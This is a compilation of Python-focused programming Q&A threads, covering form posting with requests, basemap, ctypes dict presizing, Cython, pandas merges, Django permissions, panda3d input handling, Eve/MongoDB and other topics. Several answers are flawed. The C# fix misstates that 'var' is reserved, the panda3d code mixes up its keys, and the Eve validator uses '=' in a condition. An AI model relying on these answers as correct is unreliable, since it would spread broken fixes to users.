Question: I have exactly the same problem as this post
[Python submitting webform using
requests](https://stackoverflow.com/questions/22407580/python-submitting-
webform-using-requests)
but your answers do not solve it. When I execute this HTML file called api.htm
in the browser, then for a second or so I see its page.
Then the browser shows the data I want with the URL
<https://api.someserver.com/api/> as as per the action below. But I want the
data written to a file so I try the Python 2.7 script below.
But all I get is the source code of api.htm Please put me on the right track!
<html>
<body>
<form id="ID" method="post" action="https://api.someserver.com/api/ ">
<input type="hidden" name="key" value="passkey">
<input type="text" name="start" value ="2015-05-01">
<input type="text" name="end" value ="2015-05-31">
<input type="submit" value ="Submit">
</form>
<script type="text/javascript">
document.getElementById("ID").submit();
</script>
</body>
</html>
The code:
import urllib
import requests
def main():
try:
values = {'start' : '2015-05-01',
'end' : '2015-05-31'}
req=requests.post("http://my-api-page.com/api.htm",
data=urllib.urlencode(values))
filename = "datafile.csv"
output = open(filename,'wb')
output.write(req.text)
output.close()
return
main()
Answer: I can see several problems:
* Your post target URL is incorrect. The `form` `action` attribute tells you where to post to:
<form id="ID" method="post" action="https://api.someserver.com/api/ ">
* You are not including all the fields; `type=hidden` fields need to be posted too, but you are ignoring this one:
<input type="hidden" name="key" value="passkey">
* Do not URL-encode your POST variables yourself; leave this to `requests` to do for you. By encoding yourself `requests` won't recognise that you are using an `application/x-www-form-urlencoded` content type as the body. Just pass in the dictionary as the `data` parameters and it'll be encoded for you _and_ the header will be set.
You can also _stream_ the response straight to a file object; this is helpful
when the response is large. Switch on response streaming, make sure the
underlying raw `urllib3` file-like object decodes from transfer encoding and
use `shutil.copyfileobj` to write to disk:
import requests
import shutil
def main():
values = {
'start': '2015-05-01',
'end': '2015-05-31',
'key': 'passkey',
}
req = requests.post("http://my-api-page.com/api.htm",
data=values, stream=True)
if req.status_code == 200:
with open("datafile.csv", 'wb') as output:
req.raw.decode_content = True
shutil.copyfileobj(req.raw, output)
There may still be issues with that `key` value however; perhaps the server
sets a new value for each session, coupled with a cookie, for example. In that
case you'd have to use a [`Session()` object](http://docs.python-
requests.org/en/latest/user/advanced/#session-objects) to preserve cookies,
first do a `GET` request to the `api.htm` page, parse out the `key` hidden
field value and only **then** post. If that is the case then using a tool like
[`robobrowser`](http://robobrowser.readthedocs.org/en/latest/) might just be
easier.
|
Using basemap and matplotlib- parallels dont show up
Question: I have a script that plots cruise positions.
The transect plots fine however I get a error message about plotting my
parallels.
Here is the error message :
Traceback (most recent call last):
File "csv_matplot.py", line 37, in <module>
map.drawparallels(np.arange(47.5, 48.5, 1), labels=[1,0,0,0])
File "...python2.7/site-packages/mpl_toolkits/basemap/__init__.py", line 2067, in drawparallels
if t is not None: linecolls[int(lat)][1].append(t)
KeyError: 47
Here is the code :
import csv
from mpl_toolkits.basemap import Basemap
import matplotlib.pyplot as plot
import numpy as np
#get data from csv
lat = []
lon = []
filename = raw_input("Enter file to map: ")
with open(filename, 'rU') as f:
reader = csv.DictReader(f)
for row in reader:
lat.append(row['Latitude'])
lon.append(row['Longitude'])
lats = [float(i) for i in lat]
lons = [float(i) for i in lon]
print '.....Making map of %s.....' % filename
#draw basemap
map = Basemap(projection='merc',llcrnrlat=47.5,urcrnrlat=48.5,\
llcrnrlon=-123,urcrnrlon=-122,lat_ts=10,resolution='f')
map.fillcontinents(color='green',lake_color='aqua')
map.drawmapboundary(fill_color='blue')
#insert data to basemap
x,y = map(lons, lats)
map.plot(x, y, 'r', marker = 'o', linestyle = '-', markersize=4)
map.drawparallels(np.arange(47.5, 48.5, 1), labels=[1,0,0,0])
map.drawmeridians(np.arange(-123.,-122.,.3),labels=[0,0,0,1])
plot.title(filename)
plot.show()
Answer: Ok so I think it's a problem with your matplotlib install.
First try updating matplotlib to the lastest version if it still does'nt work
try this :
Be careful and make a backup
In :
/usr/lib/python2.7/site-packages/mpl_toolkits/basemap/__init__.py
You must change the line :
if t is not None: linecolls[int(lat)][1].append(t)
to :
if t is not None: linecolls[lat][1].append(t)
|
Can a callout to C presize a Python dict's capacity?
Question: As an optimization for handling a dict which will hold tens or hundreds of
millions of keys, I'd really, really like to pre-size its capacity... but
there seems no Pythonic way to do so.
Is it practical to use Cython or C callouts to directly call CPython's
internal functions, such as
[dictresize()](https://hg.python.org/cpython/file/09811ecd5df1/Objects/dictobject.c#l592)
or
[_PyDict__NewPresized()](https://hg.python.org/cpython/file/09811ecd5df1/Objects/dictobject.c#l686),
to achieve this?
Answer: It depends on what you mean by practical. It's certainly straightforward
enough; you can just call `_PyDict_NewPresized(howevermany)`. Heck, you can
even do it from Python:
>>> import ctypes
>>> import sys
>>> ctypes.pythonapi._PyDict_NewPresized.restype = ctypes.py_object
>>> d = ctypes.pythonapi._PyDict_NewPresized(100)
>>> sys.getsizeof(d)
1676
>>> sys.getsizeof({})
140
>>> len(d)
0
As you can see, the dict is presized, but it has no elements. Whether
depending on CPython implementation details like this is practical is up to
you.
|
Avoid loops in the computation of logistic equation?
Question: I am trying to calculate the nth value of a logistic equation in Python. It is
easy to do it with a loop:
import timeit
tic = timeit.default_timer()
x = 0.23
i = 0
n = 1000000000
while (i < n):
x = 4 * x * (1 - x)
i += 1
toc = timeit.default_timer()
toc - tic
However it is also generally time-consuming. Doing it in PyPy greatly improves
the performance, as suggested by abarnert in [Is Matlab faster than Python
(little simple experiment)](http://stackoverflow.com/questions/30475410/is-
matlab-faster-than-python-little-simple-experiment).
I have also been suggested to avoid Python loops and use NumPy arrays and
vector operations instead - actually I do not see how these can help (it seems
to me that NumPy operations are similar to Matlab ones, and I am unaware of
any way the code above can be vectorized in Matlab either).
Is there a way to optimize the code without loops?
Answer: Without loops? Maybe,but this is probably not be the best way to go. It's
important to realize that loops are not per-se slow. You try to avoid them in
`python` or `matlab` in high performance code. If you are writing `C` code,
you don't have to care.
So one idea to optimize here would be to use `cython` to compile your code to
`C` code:
`python` version:
def calc_x(x, n):
i = 0
while (i < n):
x = 4 * x * (1 - x)
i += 1
return x
statically typed `cython` version:
def calc_x_cy(double x, long n):
cdef long i = 0
while (i < n):
x = 4 * x * (1 - x)
i += 1
return x
And all of a sudden, you are almost two orders of magnitude faster:
`%timeit calc_x(0.23, n)` -> 1 loops, best of 3: 26.9 s per loop
`%timeit calc_x_cy(0.23, n)` -> 1 loops, best of 3: 370 ms per loop
|
Python package usage
Question: I have "Dir A" which contains "Dir B" and "Dir C".
"Dir B" has "file.py" and "Dir C" has "library.py". I want to be able to
import "library.py" into "file.py". and other possible files. I am very
confused how to do it. Can someone help please?
I tried putting "**init**.py" inside different directories but it does not
seem to help when i do "import library" in "file.py".
Thanks!
Answer: First you need to name your init files as **init**.py to turn them into
packages:
dir_A
__init__.py
dir_B
__init__.py
file.py
dir_C
__init__.py
library.py
Now from file.py you should be able to use:
import A.C.library
|
Pulling out quotes from within a text file
Question: Let's say I have a text file in python that says:
the data starts
test Age="0" Order="51" Doctor-ID="XX2342"
test Age="0" Order="53" Doctor-ID="XX2342"
end of data
What code would return:
"0" "51" "XX2342"
"0" "53" "XX2342"
Returning lists would also work.
[["0","51","XX2342"]
["0","53","XX2342"]]
Thank you!
Answer: This is a perfect job for regex
line = 'test Age="0" Order="51" Doctor-ID="XX2342"'
import re
re.findall('"(.*?)"', line)
>>> ['0', '51', 'XX2342']
For operating on multiple lines:
lines = '''
test Age="0" Order="51" Doctor-ID="XX2342"
test Age="0" Order="53" Doctor-ID="XX2342"
'''
results = []
for line in lines.split('\n'):
result = re.findall('"(.*?)"', line)
if result:
results.append(result)
for result in results:
print result
This gives:
['0', '51', 'XX2342']
['0', '53', 'XX2342']
|
Python faulthandler show error window
Question: I might be totally overlooking something but is there a way to show a custom
error window when while using the `faulthandler` package.
Currently I'm just writing to a log file using:
faulthandler.enabled(file=open("crash.log", "w"))
however it would be really nice to be able to show some kind of window to the
user with an error message.
Any ideas on how I can do this?
Answer: There is no way to change the behaviour of
[faulthandler](https://pypi.python.org/pypi/faulthandler) to do something
different other than log faults to a file-like object according to the
[documetnation](https://docs.python.org/3/library/faulthandler.html)
However you can change
[`sys.excepthook`](https://docs.python.org/2/library/sys.html#sys.excepthook)
and use a
[`PyQt4.QtGui.QMessageBox`](http://pyqt.sourceforge.net/Docs/PyQt4/qmessagebox.html)
**Example:**
#!/usr/bin/env python
import sys
from PyQt4.QtGui import QMainWindow, QMessageBox
class App(QMainWindow):
def __init__(self, parent=None):
QMainWindow.__init__(self, parent)
sys.excepthook = self._displayError
def _error(self, etype, evalue, etraceback):
QMessageBox.critical(
self,
"ERROR",
"An unexpected error occurred: {0:s}".format(evalue)
)
|
Python Numpy Error: ValueError: setting an array element with a sequence
Question: I am trying to build a dataset similar to mnist.pkl.gz provided in theano
logistic_sgd.py implementation. Following is my code snippet.
import numpy as np
import csv
from PIL import Image
import gzip, cPickle
import theano
from theano import tensor as T
def load_dir_data(csv_file=""):
print(" reading: %s" %csv_file)
dataset=[]
labels=[]
cr=csv.reader(open(csv_file,"rb"))
for row in cr:
print row[0], row[1]
try:
image=Image.open(row[0]+'.jpg').convert('LA')
pixels=[f[0] for f in list(image.getdata())]
dataset.append(pixels)
labels.append(row[1])
del image
except:
print("image not found")
ret_val=np.array(dataset,dtype=theano.config.floatX)
return ret_val,np.array(labels).astype(float)
def generate_pkl_file(csv_file=""):
Data, y =load_dir_data(csv_file)
train_set_x = Data[:1500]
val_set_x = Data[1501:1750]
test_set_x = Data[1751:1900]
train_set_y = y[:1500]
val_set_y = y[1501:1750]
test_set_y = y[1751:1900]
# Divided dataset into 3 parts. I had 2000 images.
train_set = train_set_x, train_set_y
val_set = val_set_x, val_set_y
test_set = test_set_x, val_set_y
dataset = [train_set, val_set, test_set]
f = gzip.open('file.pkl.gz','wb')
cPickle.dump(dataset, f, protocol=2)
f.close()
if __name__=='__main__':
generate_pkl_file("trainLabels.csv")
Error Message: Traceback (most recent call last):
File "convert_dataset_pkl_file.py", line 50, in <module>
generate_pkl_file("trainLabels.csv")
File "convert_dataset_pkl_file.py", line 29, in generate_pkl_file
Data, y =load_dir_data(csv_file)
File "convert_dataset_pkl_file.py", line 24, in load_dir_data
ret_val=np.array(dataset,dtype=theano.config.floatX)
ValueError: setting an array element with a sequence.
* * *
csv file contains two fields.. image name, classification label when is run
this in python interpreter, it seems to be working for me.. as follows.. I
dont get error saying setting an array element with a sequence here..
\---------python interpreter output----------
image=Image.open('sample.jpg').convert('LA')
pixels=[f[0] for f in list(image.getdata())]
dataset=[]
dataset.append(pixels)
dataset.append(pixels)
dataset.append(pixels)
dataset.append(pixels)
dataset.append(pixels)
b=numpy.array(dataset,dtype=theano.config.floatX)
b
array([[ 2., 0., 0., ..., 0., 0., 0.],
[ 2., 0., 0., ..., 0., 0., 0.],
[ 2., 0., 0., ..., 0., 0., 0.],
[ 2., 0., 0., ..., 0., 0., 0.],
[ 2., 0., 0., ..., 0., 0., 0.]])
Even though i am running same set of instruction (logically), when i run
sample.py, i get valueError: setting an array element with a sequence.. I
trying to understand this behavior.. any help would be great..
Answer: The problem is probably similar to that of [this
question](http://stackoverflow.com/questions/4674473/valueerror-setting-an-
array-element-with-a-sequence).
You're trying to create a matrix of pixel values with a row per image. But
each image has a different size so the number of pixels in each row is
different.
You can't create a "jagged" float typed array in numpy -- every row must be of
the same length.
You'll need to pad each row to the length of the largest image.
|
django access control based on a model field value
Question: I have a model class `Department` with a field `name`. I have another Model
`Student` with a foreign key to `Department`. I want to control access to
`Student` objects based on department. That is, a user with permission to edit
the department with name "CS" can only edit that fields. How this can be
achieved in Django? (I'm using django 1.8, python3)
**Edit**
class Department(models.Model):
name = models.CharField(_('department name'), max_length=255)
class Students(models.Model):
first_name = models.CharField(_('first name'), max_length=30)
last_name = models.CharField(_('last name'), max_length=30)
department = models.ForeignKey('Department')
Also I'm creating required permissions dynamically while adding new
department.(eg: if department.name for new entry is 'CS', 2 permissions like
'view_CS' and 'edit_CS' will be created)
Answer: Based on <http://django-
guardian.readthedocs.org/en/v1.2/userguide/assign.html#for-group>
class Department(models.Model):
name = models.CharField(_('department name'), max_length=255)
class Meta:
permissions = (
('view', 'View department'),
('edit', 'Edit department'),
)
**Somewhere in views** :
from django.contrib.auth.models import Group
cs_department = Department.objects.get(name='cs_department')
cs_department_group = Group.objects.create(name=cs_department.name)
assign_perm('view', cs_department_group, cs_department)
assign_perm('edit', cs_department_group, cs_department)
request.user.groups.add(cs_department_group)
print(request.user.has_perm('view', cs_department)) # True
print(request.user.has_perm('edit', cs_department)) # True
|
c# method not returning string to python
Question: I am trying to call c# code from python using ctypes module. The problem is c#
method returning integer value properly but not doing so for string. It
returns different numbers instead of string. The number also varies each time
it runs. Can anyone please tell what is the problem with this code. My python
code is given below:
Python Code:
import ctypes
a = ctypes.cdll.LoadLibrary(r"C:\path\ConsoleApplication1.dll")
print a.mul(10,4)
print a.add(10,4)
print a.str()
C# code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
class Test
{
[DllExport("TestExport", CallingConvention = CallingConvention.Cdecl)]
public static int add(int left, int right)
{
return left + right;
}
[DllExport("mul", CallingConvention = CallingConvention.Cdecl)]
public static int mul(int left, int right)
{
return left * right;
}
[DllExport("str", CallingConvention = CallingConvention.Cdecl)]
public static String str()
{
String var = "hello";
return var;
}
}
Answer: Change following code
[DllExport("str", CallingConvention = CallingConvention.Cdecl)]
public static String str()
{
String var = "hello";
return var;
}
to
[DllExport("str", CallingConvention = CallingConvention.Cdecl)]
public static String str()
{
String str= "hello";
return str;
}
`var` is keyword in `c#` and cannot be used as variable name
|
how to store csv field values in an array in python
Question: Suppose I have two csv files file1.csv
event_id, polarity
1124, 0.3763
36794, 0.638
dhejjd, 0.3627
file2.csv
event_id, tallies
61824, 0.3
36794, 0.8
dhejjd, 0.9
dthdnb, 0.66
I want to access the polarity and tallies for each event_id. how can i read
these files in 2 arrays so that for each [event_id] i can get the polarity and
tallies and then perform my calculations with these two values. i was trying
this but didnt work out I got an error:
for event_id, polarity in file1reader: ValueError: need more than 1 value to unpack
My code: import csv
file1reader = csv.reader(open("file1.csv"), delimiter=",")
file2reader = csv.reader(open("file2.csv"), delimiter=",")
header1 = file1reader.next() #header
header2 = file2reader.next() #header
for event_id, polarity in file1reader:
#if event_id and polarity in file1reader:
for event_id, tallies in file2reader:
#if event_id in file2reader:
if file1reader.event_id == file2reader.event_id:
print event_id, polarity, tallies
break
file1reader.close()
file2reader.close()
Answer: Use [pandas](http://pandas.pydata.org/) data frames instead of numpy arrays
import pandas as pd
df = pd.read_csv("file1.csv", index_col="event_id", skipinitialspace=True)
df2 = pd.read_csv("file2.csv", index_col="event_id", skipinitialspace=True)
df = df.merge(df2, how='outer', left_index=True, right_index=True)
P.S. Corrected the code so that it runs. The 'outer' join means that if only
'polarity' or 'tallies' exist for a given 'event_id', then missing values are
coded as `NaN`s. The output is
polarity tallies
event_id
1124 0.3763 NaN
36794 0.6380 0.80
61824 NaN 0.30
dhejjd 0.3627 0.90
dthdnb NaN 0.66
If you need only rows where both are present, use `how='inner'`
P.P.S To work with this data frame further you can, for example, replace
`NaNs` with some value, let us say `0`:
df.fillna(0, inplace=True)
You can select elements by label
df.loc["dhejjd","polarity"]
df.loc[:,"tallies"]
or by integer position
df.iloc[0:3,:]
If you never used pandas, it takes some time to learn it and get used to it.
And it is worth every second.
|
Python import variable from file
Question: i have a this 2 file: main.py and abc.py
main.py is:
dm = [100, 200, 300]
import abc
abc.abcp(dm)
from abc import *
pabc = abc.dmabc
print pabc
abc.py is:
def abcp(dm):
dmabc = list(dm)
dmabc[0] -= 50
print dmabc
return dmabc
The error is: pabc = abc.dmabc (AttributeError: 'module' object has no
attribute dmabc)
if i write:
from abc import abcp
pabc = abc.dmabc
print pabc
The error is: from abc import abcp (ImportError: cannot import name bmf)
if i write:
from abc import abcp
from abcp import dmabc
pabc = abc.dmabc
print pabc
The error is: from abpc import dmabc (ImportError: No module named abpc)
So how can i import dmabc variable from abc.py file?
Answer: You cannot access the variable `dmabc` because it's a local variable in
`abc.py`.
The best way would be to **store the return value** when calling `abc.dmabc`:
`main.py`:
dm = [100, 200, 300]
import abc
pabc = abc.abcp(dm)
print pabc
|
combine python function with for loops in bash terminal
Question: I aimed to open multiple files (one by one, using for loop in bash terminal)
and modify it using PLINK (a programme) and later on, python function.
Following are the codes:
for i in {1..10}; do
plink --cow --noweb --lfile $i --extract extract1.snp --recode --out 1$i
python -c 'import file_convert;file_convert.convert_tree_mix("1$i.map","tmp$i")'
done
But, as expected, python could not read and could not open "11.map", it did
not replace "$i" with 1. How can i modify the code so that python function, in
combination with for loop, open different file each time based on the value of
"i"
Answer: Have you tried calling python like that:
python -c 'import sys; import file_convert;file_convert.convert_tree_mix(sys.argv[1],sys.argv[2])' "1$i.map" "tmp$i";
?
|
Matplotlib into a Django Template
Question: Im using python 3.4 and Django 1.8. I want to "print" a matplotlib result in a
Django template. I reach this a few days ago, so I continue in other things of
my Django App. Now, I dont know why, I was going to show the result to a
friend, and my template with a matplotlib graph, now shows a big code! I dont
know why this happen, because my view doesnt change in anything from when it
was showing the right graph! Please help me!
This is my view!
from django.shortcuts import render
from matplotlib import pylab
from pylab import *
import PIL
import PIL.Image
import io
from io import *
def graphic(request):
pos = arange(10)+ 2
barh(pos,(1,2,3,4,5,6,7,8,9,10),align = 'center')
yticks(pos,('#hcsm','#ukmedlibs','#ImmunoChat','#HCLDR','#ICTD2015','#hpmglobal','#BRCA','#BCSM','#BTSM','#OTalk'))
xlabel('Popularity')
ylabel('Hashtags')
title('Hashtags')
subplots_adjust(left=0.21)
buffer = io.BytesIO()
canvas = pylab.get_current_fig_manager().canvas
canvas.draw()
graphIMG = PIL.Image.fromstring('RGB', canvas.get_width_height(), canvas.tostring_rgb())
graphIMG.save(buffer, "PNG")
content_type="Image/png"
buffercontent=buffer.getvalue()
graphic = (buffercontent ,content_type)
pylab.close()
return render(request, 'graphic.html',{'graphic':graphic})
Of course in my graphic.html is a variable called {{graphic}} inside a
blockcontent!
This was showing the right result in my template! What happen? Now sometimes
when i run my template it shows a big code, or just show me this django error:
Exception Value:
main thread is not in main loop
Exception Location: C:\Python34\lib\site-packages\matplotlib\backends\tkagg.py
in blit, line 17
Help!
Answer: Edit:
try with
graphic = cStringIO.StringIO()
canvas.print_png(graphic)
return render(request, 'graphic.html',{'graphic':graphic})
You have to specify that your image is a binary string:
<img src="data:image/png;base64,{{graphic|safe}}">
Or actually save it to the filesystem and provide the path.
Alternatively you could use bokeh <http://bokeh.pydata.org/en/latest/> which
can give you the html + javascript to embed the plot direclty in the template,
then it is dynamically generated and brings nice features.
It's built by continum analytics, the anaconda distro guys.
|
Python API's Require OAUTH_TOKEN and OAUTH_TOKEN_SECRET Keys
Question: How do I get these keys from LinkedIn?
OAUTH_TOKEN and OAUTH_TOKEN_SECRET
When I register my application on LinkedIn Developer, I'm only getting:
CONSUMER_KEY, CONSUMER_SECRET
I have two Python functions which require it.
E.g. -
from linkedin import linkedin # pip install python-linkedin
# Define CONSUMER_KEY, CONSUMER_SECRET,
# USER_TOKEN, and USER_SECRET from the credentials
# provided in your LinkedIn application
CONSUMER_KEY = ''
CONSUMER_SECRET = ''
USER_TOKEN = ''
USER_SECRET = ''
RETURN_URL = '' # Not required for developer authentication
# Instantiate the developer authentication class
auth = linkedin.LinkedInDeveloperAuthentication(CONSUMER_KEY, CONSUMER_SECRET,
USER_TOKEN, USER_SECRET,
RETURN_URL,
permissions=linkedin.PERMISSIONS.enums.values())
# Pass it in to the app...
app = linkedin.LinkedInApplication(auth)
# Use the app...
app.get_profile()
and #!/usr/bin/env python # encoding: utf-8 """ linkedin-2-query.py
Created by Thomas Cabrol on 2012-12-03.
Copyright (c) 2012 dataiku. All rights reserved.
Building the LinkedIn Graph
import oauth2 as oauth
import urlparse
import simplejson
import codecs
CONSUMER_KEY = "your-consumer-key-here"
CONSUMER_SECRET = "your-consumer-secret-here"
OAUTH_TOKEN = "your-oauth-token-here"
OAUTH_TOKEN_SECRET = "your-oauth-token-secret-here"
OUTPUT = "linked.csv"
def linkedin_connections():
# Use your credentials to build the oauth client
consumer = oauth.Consumer(key=CONSUMER_KEY, secret=CONSUMER_SECRET)
token = oauth.Token(key=OAUTH_TOKEN, secret=OAUTH_TOKEN_SECRET)
client = oauth.Client(consumer, token)
# Fetch first degree connections
resp, content = client.request('http://api.linkedin.com/v1/people/~/connections?format=json')
results = simplejson.loads(content)
# File that will store the results
output = codecs.open(OUTPUT, 'w', 'utf-8')
# Loop thru the 1st degree connection and see how they connect to each other
for result in results["values"]:
con = "%s %s" % (result["firstName"].replace(",", " "), result["lastName"].replace(",", " "))
print >>output, "%s,%s" % ("Thomas Cabrol", con)
# This is the trick, use the search API to get related connections
u = "https://api.linkedin.com/v1/people/%s:(relation-to-viewer:(related-connections))?format=json" % result["id"]
resp, content = client.request(u)
rels = simplejson.loads(content)
try:
for rel in rels['relationToViewer']['relatedConnections']['values']:
sec = "%s %s" % (rel["firstName"].replace(",", " "), rel["lastName"].replace(",", " "))
print >>output, "%s,%s" % (con, sec)
except:
pass
if __name__ == '__main__':
linkedin_connections()
I received this document from LinkedIn:
<https://developer.linkedin.com/blog/posts/2015/transition-faq>
Does this mean the API is now closed?
Answer: OAuth 1.0a is still supported by LinkedIn, but it is no longer encouraging new
implementations.
You must request your own OAuth 1.0a token/secret values as part of the auth
workflow. LinkedIn's application management console no longer automatically
generates one for you as a convenience.
Switching to OAuth 2.0 would probably be an easier approach.
Further, please note that the call your library appears to be making to get a
user's connections is no longer publicly available via the API as per the
announcement made on LinkedIn's developer blog back in February
(<https://developer.linkedin.com/blog/posts/2015/developer-program-changes>).
So getting authentication working may not be the only problem you encounter.
|
Huge file handling and sorting using python
Question: Im currently working on a program that uses a file having data in the format -
6 columns and dynamic no. of rows.
The file I got for testing is 26 mb and following is the program that converts
first 3 columns into 3 different lists.
f = open('foo', 'r')
print('running...')
a = []
b = []
c = []
for line in f:
x = (line.split(' '))
a.append(x[0])
b.append(x[1])
c.append(x[2])
print(a,b,c,sep='\n')
I have rechecked this program and logic looks correct and when implemented on
small file it works but when i use this program with the 26 mb file it stops
responding.
Description of the program: The program opens a file name 'foo' and implements
line by line of the file. It splits the line into parts based on the separator
that is defined as an argument in the .split() method. In my program I have
used white space as an separator as in the text file the data is separated
using white spaces.
Im not able to figure out why this program stops responding and I need help
with it!
Answer: if you use `numpy`, you can use `genfromtxt`:
import numpy as np
a,b,c=np.genfromtxt('foo',usecols=[0,1,2],unpack=True)
Does that work with your large file?
EDIT:
OK, so I tried it on your file, and it seems to work fine. So I'm not sure
what your problem is.
In [1]: from numpy import genfromtxt
In [2]: a,b,c=genfromtxt('foo',usecols=[0,1,2],unpack=True)
In [3]: a
Out[3]:
array([ 406.954744, 406.828508, 406.906079, ..., 408.944226,
408.833872, 408.788698])
In [4]: b
Out[4]:
array([ 261.445358, 261.454366, 261.602131, ..., 260.46189 ,
260.252377, 260.650606])
In [5]: c
Out[5]:
array([ 17.451789, 17.582017, 17.388673, ..., 26.41099 , 26.481148,
26.606282])
In [6]: print len(a), len(b), len(c)
419040 419040 419040
|
How to make panda3d accept controls faster?
Question: Hi I am trying to make a game on panda3d v 1.8.1 (python) but the controls
seem to be very sloppy. One has to keep the keys pressed for a second or two
to make things happen. Is there any way to make panda3d accept controls faster
?
Here's my code of my key handler :
class KeyHandler(DirectObject):
def __init__(self):
self.accept('arrow_left-repeat', self.lookLeft)
self.accept('arrow_right-repeat', self.lookRight)
self.accept('arrow_up-repeat', self.lookUp)
self.accept('arrow_down-repeat', self.lookDown)
self.accept('w-repeat', self.Moveforward)
self.accept('s-repeat', self.Movebackward)
self.accept('a-repeat', self.Moveleft)
self.accept('d-repeat', self.Moveright)
self.accept('q-repeat', self.MoveDown)
self.accept('e-repeat', self.MoveUp)
self.accept('space', self.Dotask)
def lookLeft(self):
global camxy
camxy += 2
def lookRight(self):
global camxy
camxy -= 2
def lookUp(self):
global camyz
camyz += 2
def lookDown(self):
global camyz
camyz -= 2
def Moveforward(self):
global camx
if camx < 57 :
camx += 1
def Movebackward(self):
global camx
if camx > -32 :
camx -= 1
def Moveleft(self):
global camy
if camy < 42 :
camy += 1
def Moveright(self):
global camy
if camy > -36 :
camy -= 1
def MoveUp(self):
global camz
if camz < 15 :
camz += 0.5
def MoveDown(self):
global camz
if camz >1 :
camz -= 0.5
a = KeyHandler()
def set_cam(task) :
camera.setPos(camx,camy,camz)
camera.setHpr(camxy,camyz,camzx)
taskMgr.add(set_cam, "setcamTask")
The camera which I am using is the default camera of panda3d.
Any help would be appreciated !
Answer: You should avoid using the "-repeat" handlers. They take just as long to
trigger as more letters take to appear if you hold a key down in any textbox.
The usual way is to use a `dict` keeping key state:
class KeyHandler(DirectObject):
keys = {"lookLeft": False, "lookRight": False} # etcetera
def __init__(self):
DirectObject.__init__(self)
self.accept('arrow_left', self.pressKey, ["lookLeft"])
self.accept('arrow_left-up', self.releaseKey, ["lookRight"])
taskMgr.add(self.set_cam, "setcamTask")
def pressKey(self, key):
self.keys[key] = True
def releaseKey(self, key):
self.keys[key] = False
# Hopefully method will be passed bound
def set_cam(self, task):
dt = globalClock.getDt()
if self.keys["lookLeft"]:
camera.setH(camera.getH() + 2 * dt)
elif self.keys["lookRight"]:
camera.setH(camera.getH() + 2 * dt)
a = KeyHandler()
This will also allow you to define user settings for keys more easily.
This is not the first or even most important issue with that code though.
`set_cam` should really be a method of `KeyHandler` instead of declaring every
variable global, and you should multiply movement by each frame's dt to keep
the game looking the same speed with different framerates.
|
accessing variables from main method in python idle
Question: So I know if I create a python file with no main method declared and then I
run it, I'm able to access the variables within that file from the idle, but
if I do declare a main method, then I cannot access any variables from the
idle after the main method has finished running.
Does anyone know if there's a workaround where I'm able to use methods in my
python program, while also being able to access variables from within them in
the idle?
Answer: If you declare variable inside a method/function they are only in scope for
the life of that method or function. You can't access them from outside. If
you want some variable to be available to you declare it in the global space
and then import like you would any other function/class.
**file1.py**
some_var = whatever
def foo():
another_var = 42
def bar():
return 42
**file2.py**
from file1 import some_var
Will give you acces to `some_var` however you will not be able to access
`another_var` unless you return form your function and save like this
from file1 import bar
another_var = bar()
You can access variable in a function while the function is running by using
the `pdb` library like so:
>>> def foo(x):
import pdb; pdb.set_trace() # this is one of the rare times it's okay to import inside a function
return x* 2
>>> foo(5)
> <pyshell#13>(3)foo()
(Pdb) x
5
(Pdb)
`pdb` is a very useful debugging tool. It will help you see what id happening
inside of your functions should you start getting some weird output. You can
read more about it [here](https://docs.python.org/2/library/pdb.html)
|
Adding mongoDB document-array-element using Python Eve
Question: **Background:** (using Eve and Mongo)
I'm working in Python using the [Eve](http://python-eve.org) REST provider
library connecting and to a mongoDB to expose a number of REST endpoints from
the database. I've had good luck using Eve so far, but I've run into a problem
that might be a bit beyond what Eve can do natively.
My problem is that my mongoDb document format has a field (called "slots"),
whose value is a list/array of dictionaries/embedded-documents.
So the mongoDB document structure is:
{
blah1: data1,
blah2: data2,
...
slots: [
{thing1:data1, thing2:data2},
{thingX:dataX, thingY:dataY}
]
}
I need to add new records (I.E. add pre-populated dictionaries) to the 'slots'
list.
If I imagine doing the insert directly via pymongo it would look like:
mongo.connection = MongoClient()
mongo.db = mongo.connection['myDB']
mongo.coll = mongo.db['myCollection']
...
mongo.coll.update({'_id' : document_id},
{'$push': { "slot" : {"thing1":"data1","thingX":"dataX"} } } )
The REST action/URI combo that I would like to do this action is a `POST` to
'_id/slots', e.g. URI of `/app/012345678901234567890123/slots`.
**Problem:** (inserting an element into an array in Eve)
From SO: [How to add to a list type in Python Eve without replacing old
values](http://stackoverflow.com/questions/29659942/how-to-add-to-a-list-type-
in-python-eve-without-replacing-old-values) and [eve project
issue](https://github.com/nicolaiarocci/eve/issues/229) it appears Eve doesn't
currently support operating on mongoDB embedded documents (or arrays?) unless
the entire embedded document is rewritten, and rewriting the whole array is
very undesirable in my case.
* * *
So, assuming its true Eve doesn't have a method to allow inserting of array
elements (and given I already have numerous other endpoints working well
inside of Eve)...
* * *
... I'm now looking for a way, inside of an Eve/Flask configuration with
multiple working endpoints, to intercept and change Eve's mongoDB write for
just this one endpoint.
I know (worst case) I can override the routing of Eve and to completely do the
write by hand, but then I would have manage the `_updated` and hand check &
change the documents `_etag` value, both things I would certainly prefer not
to have to write new code for.
I've looked at Eve's [Datebase event hooks](http://python-
eve.org/features.html#database-event-hooks) but I don't see a way to modify
the database commands that are executed (I can see how to change the _data_ ,
but not the _commands_).
Anyone else already solved this problem already? If not any ideas on the most
direct path to implement by hand? (hopefully reusing as much of Eve as
possible because I do want to continue using Eve for all my (already working)
endpoints)
Answer: This is an interesting question. I believe that in order to achieve your goal
you would need to perform two actions:
1. Build and pass a custom Validator.
2. Build and pass a custom Mongo data layer.
This might sound like too much work, but that's probably not the case.
* * *
## Custom Validator
A custom validator is going to be needed because when you perform your PATCH
request on the "push-enabled" endpoint you want to pass a document which is
syntactically different from endpoint validation schema. You are going to pass
a dict (`{"slot": {"thing1": "data1", "thingX": "dataX"}}`) whereas the
endpoint expects a list:
'mycollection': {
'type': 'list',
'schema': {
'type': 'dict',
'schema': {
'thing1': {'type': 'string'},
'thingX': {'type': 'string'},
}
}
}
If you don't customize validation you will end up with a validation error
(`list type expected`). I guess your custom validator could look something
like:
from eve.data.mongo.validation import Validator
from flask import request
class MyValidator(Validator):
def validate_replace(self, document, _id, original_document=None):
if self.resource = 'mycollection' and request.method = 'PATCH':
# you want to perform some real validation here
return True
return super(Validator, self).validate(document)
Mind you I did not try this code so it might need some adjustment here and
there.
An alternative approach would be to set up an alternative endpoint just for
PATCH requests. This endpoint would consume the same datasource and have a
dict-like schema. This would avoid the need for a custom validator and also,
